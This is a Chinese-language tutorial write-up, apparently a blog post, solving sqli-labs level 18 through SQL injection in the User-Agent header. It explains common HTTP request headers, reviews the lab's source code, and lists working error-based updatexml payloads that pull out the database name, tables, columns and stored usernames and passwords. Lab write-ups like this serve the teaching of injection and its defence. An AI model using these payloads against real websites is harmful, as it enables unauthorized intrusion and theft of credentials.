当前位置: 首页 > news >正文

sqli-labs关卡18(基于http头部报错盲注)通关思路

文章目录

  • 前言
  • 一、靶场通关需要了解的知识点
    • 1、什么是http请求头
    • 2、为什么http头部可以进行注入
  • 二、靶场第十八关通关思路
    • 1、判断注入点
    • 2、爆数据库名
    • 3、爆数据库表
    • 4、爆数据库列
    • 5、爆数据库关键信息
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、靶场通关需要了解的知识点

  • 1、什么是http请求头
  • 2、为什么http头部可以进行注入

1、什么是http请求头

这里我只演示sql注入常见的请求头内容。

  • 1、user-agent
    User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。
    浏览器通常使用的格式为:
User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>

这里我在微博进行演示user-agent的作用(无恶意,仅演示)
这里我先用kali系统在火狐浏览器中微博搜索1(如图所示)
在这里插入图片描述

然后抓包更改user-agent内容,改为手机端。这里我改为oppo手机访问网站的user-agent。因为user-agent是用来识别用户的身份的,如果你是pc端,那么服务器接收到你的user-agent发现你是pc端的linux系统,它就会响应一个pc电脑访问微博的界面。那么如果服务器接收的是我更改的手机user-agent的话,它就会自动识别我是手机端登录,然后响应一个手机访问微博的页面。

Mozilla/5.0 (Linux; Android 7.1.1; OPPO R11st Build/NMF26X; wv)
AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83
Mobile Safari/537.36 T7/11.15 baiduboxapp/11.15.5.10 (Baidu; P1 7.1.1)

这是我更改的oppo手机user-agent.
更改流程如下,图一是linux系统pc端的user-agent,图二是我们改为oppo的user-agent。
然后发包看结果对比一下。
图一

图二

在这里插入图片描述
发现我pc端访问的微博界面变成了oppo手机端访问微博的界面。这就是user-agent的作用。通过识别用户身份,响应合适的web界面。

  • 2、referer字段

Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer
请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。

就比如你从csdn访问外链接跳转,此时referer字段指向的url地址就是csdn的地址。

  • 3、cookie

Cookie 是一个 HTTP 请求标头,其中含有先前由服务器通过 Set-Cookie 标头投放或通过 JavaScript 的
Document.cookie 方法设置,然后存储到客户端的 HTTP cookie 。

  • 4、X-Forwarded-For

X-Forwarded-For(XFF)请求标头是一个事实上的用于标识通过代理服务器连接到 web 服务器的客户端的原始 IP 地址的标头。
当客户端直接连接到服务器时,其 IP
地址被发送给服务器(并且经常被记录在服务器的访问日志中)。但是如果客户端通过正向或反向代理服务器进行连接,服务器就只能看到最后一个代理服务器的
IP 地址,这个 IP
通常没什么用。如果最后一个代理服务器是与服务器安装在同一台主机上的负载均衡服务器,则更是如此。X-Forwarded-For
的出现,就是为了向服务器提供更有用的客户端 IP 地址。

2、为什么http头部可以进行注入

由于大部分网站为了记录用户的http请求头部内容,来更好的识别用户的身份信息,会将其带入数据库处理。我们知道任何与数据库交互的地方都是有可能会有sql注入漏洞的。如果管理员没有对http头部内容进行验证和过滤,导致攻击者可以任意篡改http头部信息拼接到数据库恶意获取敏感内容。

二、靶场第十八关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

首先打开第十八关,发现页面多了一个记录ip的信息。假如我们现在不知道是http头部注入,我们尝试在登录框进行sql注入,发现无论如何都是注入不成功的。这个时候我们就要换思路了,因为看到这里有记录ip信息,IP信息的记录像是和http请求头的X-Forwarded-For有关系。那么我们就要想到能不能在http请求头进行注入。
这里为了方便理解我们就看源码了
发现到有两个参数
在这里插入图片描述
网上搜发现是用来获取用户信息的user-agent值和ip值。我们发现这就是请求头的内容。继续往下看,发现user-agent值被带入到数据库中。而且没有被过滤。
在这里插入图片描述
(如图所示)我们也发现uname和passwd被过滤了,这里源码写了一个check_input的功能函数,将uname和passwd的特殊字符进行转义,我们也去网上搜了mysql_real_escape_string () 函数的作用,所以得知刚刚我们无脑在登录框注入不成功的原因是有这个转义函数在干扰。如果懂一点sql注入代码审计的大佬应该一眼就看出这是一个典型的防sql注入的代码。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
但是我们刚刚发现源码并没有将user-agent值调用check_input函数进行过滤sql注入。那么我们可以从这里构造payload。
我们仔细看user-agent值被拼接到数据库的代码。

在这里插入图片描述

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

我们是要在uagent进行构造pyaload的,所以就得看这句代码进行构造payload
这里构造为' ,1,1)#
在这里插入图片描述

在这里插入图片描述

发现构造payload成功,但是有的人可能要质疑了,你这是知道源码才能轻松构造出来payload的,那实战大都是没有源码的呀,那咋构造?
很好,这里我假装不知道源码是什么。我们首先和之前思路一样,先试一试and 1=1 和and 1=2,发现页面都正常,说明排除数字型。在这里插入图片描述
在这里插入图片描述
然后我们再直接在user-agent后面加上单引号,发现报错了。
在这里插入图片描述
报错语句为

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘xxx.xxx.xxx.xxx’, ‘admin’)’ at line 1

从报错看出肯定是有关单引号闭合,凭空想象应该原始语句是这样的

('$uagent', '$IP', $uname)

从报错内容发现不光光是单引号闭合的问题。发现user-agent加单引号后报错是缺少了 ‘xxx.xxx.xxx.xxx’, ‘admin’)'这个东西。也就是说你刚刚是这样注入的才导致报错。

('$uagent'', '$IP', $uname)

我们如果单单像之前注入一样闭合掉单引号的话就会变成这样

('$uagent'#', '$IP', $uname)

这样的话后面的两个参数就不见了,也会报错。所以我们得构造出这样

('$uagent',1,1)#', '$IP', $uname)

在payload多写两个参数,构造出和原始语句一模一样的语句
payload构造出来了,因为它有报错回显,但是不回显内容。所以用报错盲注。

2、爆数据库名

注入语句为

1' and updatexml(1,concat(0x3a,(select database()),0x3a),1),1,1)#

在这里插入图片描述

3、爆数据库表

注入语句为

1' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1),1,1)#

在这里插入图片描述
得到关键数据库表名users

4、爆数据库列

注入语句为

1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1),1,1)#

在这里插入图片描述
在这里插入图片描述
得到关键数据库列username,password

5、爆数据库关键信息

注入语句为

1' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1),1,1)#

在这里插入图片描述

在这里插入图片描述
得到账号密码

总结

这一关是利用http头部的user-agent值进行sql注入,由于这一关账号密码被sql防注入过滤了,但是没有对user-agent值进行过滤,所以导致可以在user-agent进行注入。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

相关文章:

  • react 手机端 rc-table列隐藏(根据相关条件是否隐藏)、实现图片上传操作
  • 矩阵的模和内积
  • 基于金鹰算法优化概率神经网络PNN的分类预测 - 附代码
  • 量化交易:借助talib使用技术分析指标
  • Python字典六种类型概述
  • 和解电话(匿名电话)/情侣拉黑联系电话/虚拟号/虚拟中间号/拉黑联系项目代码
  • 直流电机干扰的产生-EMC和EMI
  • Linux的简单使用
  • ATTCK实战系列——红队实战(一)
  • 生成对抗网络(GAN)
  • 云服务器windows service2022 部署git服务器
  • 【开题报告】基于SpringBoot的中小企业设备管理系统的设计与实现
  • Linux使用ifconifg命令,没有显示ens33
  • 数据结构:反射
  • Java的JDBC编程
  • Angular数据绑定机制
  • django开发-定时任务的使用
  • Docker: 容器互访的三种方式
  • ES6系列(二)变量的解构赋值
  • ES学习笔记(10)--ES6中的函数和数组补漏
  • export和import的用法总结
  • HTTP那些事
  • JavaScript/HTML5图表开发工具JavaScript Charts v3.19.6发布【附下载】
  • Java反射-动态类加载和重新加载
  • Laravel核心解读--Facades
  • Linux Process Manage
  • MySQL Access denied for user 'root'@'localhost' 解决方法
  • Vue.js源码(2):初探List Rendering
  • vue数据传递--我有特殊的实现技巧
  • 初识 webpack
  • 翻译:Hystrix - How To Use
  • 基于Vue2全家桶的移动端AppDEMO实现
  • 模型微调
  • 前端面试总结(at, md)
  • 浅谈web中前端模板引擎的使用
  • 融云开发漫谈:你是否了解Go语言并发编程的第一要义?
  • 使用Maven插件构建SpringBoot项目,生成Docker镜像push到DockerHub上
  • puppet连载22:define用法
  • Spring第一个helloWorld
  • 阿里云API、SDK和CLI应用实践方案
  • 阿里云IoT边缘计算助力企业零改造实现远程运维 ...
  • 直播平台建设千万不要忘记流媒体服务器的存在 ...
  • 组复制官方翻译九、Group Replication Technical Details
  • 昨天1024程序员节,我故意写了个死循环~
  • # Maven错误Error executing Maven
  • ## 临床数据 两两比较 加显著性boxplot加显著性
  • #我与Java虚拟机的故事#连载15:完整阅读的第一本技术书籍
  • $.extend({},旧的,新的);合并对象,后面的覆盖前面的
  • $con= MySQL有关填空题_2015年计算机二级考试《MySQL》提高练习题(10)
  • (01)ORB-SLAM2源码无死角解析-(66) BA优化(g2o)→闭环线程:Optimizer::GlobalBundleAdjustemnt→全局优化
  • (4)logging(日志模块)
  • (iPhone/iPad开发)在UIWebView中自定义菜单栏
  • (k8s中)docker netty OOM问题记录
  • (二)丶RabbitMQ的六大核心
  • (附源码)ssm基于微信小程序的疫苗管理系统 毕业设计 092354